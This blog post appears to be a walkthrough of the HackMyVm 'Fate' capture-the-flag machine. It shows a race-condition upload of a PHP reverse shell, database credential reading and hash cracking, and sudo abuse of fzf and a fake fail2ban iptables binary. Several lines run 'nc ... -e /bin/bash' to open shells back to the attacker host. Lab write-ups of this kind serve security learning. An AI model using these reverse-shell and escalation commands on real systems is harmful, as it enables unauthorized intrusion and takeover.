月度归档:2022年03月

HackMyVm Fate Walkthrough

HackMyVm Fate Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Fate

Fate is really an interesting machine made by sML. Let's begin!

Scan ports first.

nmap -sV -sC -p- -oN port.log 192.168.56.100
Nmap scan report for 192.168.56.100
Host is up (0.0022s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 61:39:bc:89:db:98:a7:63:15:fe:13:54:01:22:8d:52 (RSA)
|   256 bb:a3:b7:24:76:9c:fd:27:8f:13:ef:f5:cf:4f:8b:ab (ECDSA)
|_  256 0c:af:8b:a0:fa:3f:7b:38:52:b4:93:a0:65:da:c0:7c (ED25519)
80/tcp    open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
13120/tcp open  http    Node.js Express framework
|_http-title: Gancio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Start from port 80. Scan files and dirs.

gobuster dir -u "http://192.168.56.100" -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt,.zip -b 401,403,404,500 --wildcard -o 80.log
/index.html           (Status: 200) [Size: 285]
/uploads              (Status: 301) [Size: 169] [--> http://192.168.56.100/uploads/]
/upload.php           (Status: 200) [Size: 46]

Check port 80, it will upload any file we choose and rename it.

And the file is saved in /uploads/.

~/D/fate $curl "http://192.168.56.100/uploads/8662cb1f0bdeaa8572492ad1de71e293"          19:47:01
<?php                                                                                            
// php-reverse-shell - A Reverse Shell implementation in PHP                                     ...

We can not bypass the upload.php, but if we take care enough, we notice there is a short time delay after we click upload. So we guess, the shell php is first saved, then renamed.

We create a simple bash to continuously check /uploads/shell.php, and upload shell.php.

#!/bin/bash
while true
do
  curl "http://192.168.56.100/uploads/shell.php"
  sleep 0.2
done

Then we can get reverse shell.

~/D/fate $nc -nvlp 1234                                                                  19:51:49
listening on [any] 1234 ...
connect to [192.168.56.151] from (UNKNOWN) [192.168.56.100] 34110
Linux fate 5.10.0-11-amd64 #1 SMP Debian 5.10.92-1 (2022-01-18) x86_64 GNU/Linux
 11:50:57 up 58 min,  1 user,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
john     pts/2    192.168.56.151   11:32   10:41   0.15s  0.15s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now we found 3 users at home folder.

www-data@fate:/$ cd home
cd home
www-data@fate:/home$ ls -la
ls -la
total 20
drwxr-xr-x  5 root   root   4096 Feb 16 10:33 .
drwxr-xr-x 18 root   root   4096 Feb 16 10:23 ..
drwxr-xr-x  2 connor connor 4096 Mar  5 11:32 connor
drwxr-xr-x  4 john   john   4096 Mar  5 11:32 john
drwxr-xr-x  2 sarah  sarah  4096 Feb 16 10:33 sarah

In /opt, we found the server files of port 13120.

www-data@fate:/opt/gancio$ ls -la
ls -la
total 20
drwxr-xr-x 4 gancio gancio 4096 Feb 16 10:51 .
drwxr-xr-x 3 root   root   4096 Feb 16 10:40 ..
-rw-r--r-- 1 gancio gancio  474 Feb 16 10:51 config.json
drwxr-xr-x 2 gancio gancio 4096 Mar  5 10:52 logs
drwxr-xr-x 3 gancio gancio 4096 Feb 16 10:51 uploads

In config.json, we get creds of database.

www-data@fate:/opt/gancio$ cat config.json
...
    "database": "gancio",
    "username": "xxxxx",
    "password": "xxxxx",
...

Log in mysql, and get 2 password hash.

MariaDB [gancio]> use gancio
use gancio
Database changed
MariaDB [gancio]> show tables;
show tables;
+---------------------+
| Tables_in_gancio    |
+---------------------+
...
| users               |
+---------------------+
17 rows in set (0.000 sec)
MariaDB [gancio]> select * from users;
select * from users;
+----+--------------+----------+------------------+-------------+------------------------
| id | display_name | settings | email            | description | password                                                     | recover_code | is_admin | is_active | rsa  | createdAt           | updatedAt           |
+----+--------------+----------+------------------+-------------+------------------------
|  1 | NULL         | []       | admin            | NULL        | $2a$10$FSC73AzC1b9byrVIyEB6M.eTxxxxxxxxxxxxxxxxxxxxx.e2 | NULL         |        1 |         1 | NULL | 2022-02-16 09:51:21 | 2022-02-16 09:51:21 |
|  2 | NULL         | []       | connor@localhost | NULL        | $2a$10$U1/NLsG/tYgmr.Guimmv/eTxxxxxxxxxxxxxxxxxxxxx |              |        0 |         1 | NULL | 2022-02-16 09:52:04 | 2022-02-16 09:52:11 |
+----+--------------+----------+------------------+-------------+------------------------
2 rows in set (0.001 sec)

Save the hash and crack them with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 

There is only one hash crackable. That's actually the password of user connor. Then we can login ssh as connor.

ssh connor@192.168.56.100                                                      20:02:02
connor@192.168.56.100's password: 
...
connor@fate:~$ id
uid=1000(connor) gid=1000(connor) groups=1000(connor),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

Check sudo -l.

connor@fate:~$ sudo -l
Matching Defaults entries for connor on fate:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User connor may run the following commands on fate:
    (john) NOPASSWD: /usr/bin/fzf

After a long time learning how to use fzf, we get two ways to exploit fzf.

First is to use --preview="nc 192.168.56.151 1234 -e /bin/bash {}" option.

nc -nlvp 1234                                                                  20:06:58
listening on [any] 1234 ...
connect to [192.168.56.151] from (UNKNOWN) [192.168.56.100] 34118
id
uid=1001(john) gid=1001(john) groups=1001(john)
──────────────────────────────────────────────────────────────────────────────────────────
connor@fate:/home/john$ sudo -u john /usr/bin/fzf --preview="nc 192.168.56.151 1234 -e /bin/bash {}"

Another way is to use fzf --bind 'f2:execute(nc -nlvp x.x.x.x xxxx -e /bin/bash {})' . Then run fzf, and press F2.

Anyway, now we escalate to user john. We can upload id_rsa.pub, so we can login ssh as user john easily.

Check sudo -l again.

john@fate:~$ sudo -l
Matching Defaults entries for john on fate:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on fate:
    (root) NOPASSWD: /usr/bin/systemctl restart fail2ban

Fail2ban , another new program we need to learn. So after we carefully read the help, we know that fail2ban is a firewall management program, and it calls iptables to take action.

We create a fake iptables with shell code in /tmp.

john@fate:~$ echo "nc 192.168.56.151 1234 -e /bin/bash" > /tmp/iptables
john@fate:~$ chmod +x /tmp/iptables

The config files of fail2ban is located at /etc/fail2ban. Some key options are as following:

john@fate:/etc/fail2ban$ cat jail.conf
...
# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10m

# "maxretry" is the number of failures before a host get banned.
maxretry = 5

You can change maxretry to 1, then fail2ban will start action after 1 time login failure.

john@fate:/etc/fail2ban/action.d$ cat iptables-common.conf
...
# Option:  iptables
# Notes.:  Actual command to be executed, including common to all calls options
# Values:  STRING
iptables = iptables <lockingopt>

We change iptables to /tmp/iptables.

Now run sudo command to restart fail2ban.

After we try to login ssh as some none exist user, our shell code runs. We get root!

john@fate:/etc/fail2ban/action.d$ sudo /usr/bin/systemctl restart fail2ban
─────────────────────────────────────────────────────────────────────────────────────────
~/D/fate $nc -nlvp 1234                                                                 
listening on [any] 1234 ...
connect to [192.168.56.151] from (UNKNOWN) [192.168.56.100] 34122
id;hostname
uid=0(root) gid=0(root) grupos=0(root)
fate
─────────────────────────────────────────────────────────────────────────────────────────
~/D/fate $ssh john2@192.168.56.100                                                       20:21:11
john2@192.168.56.100's password: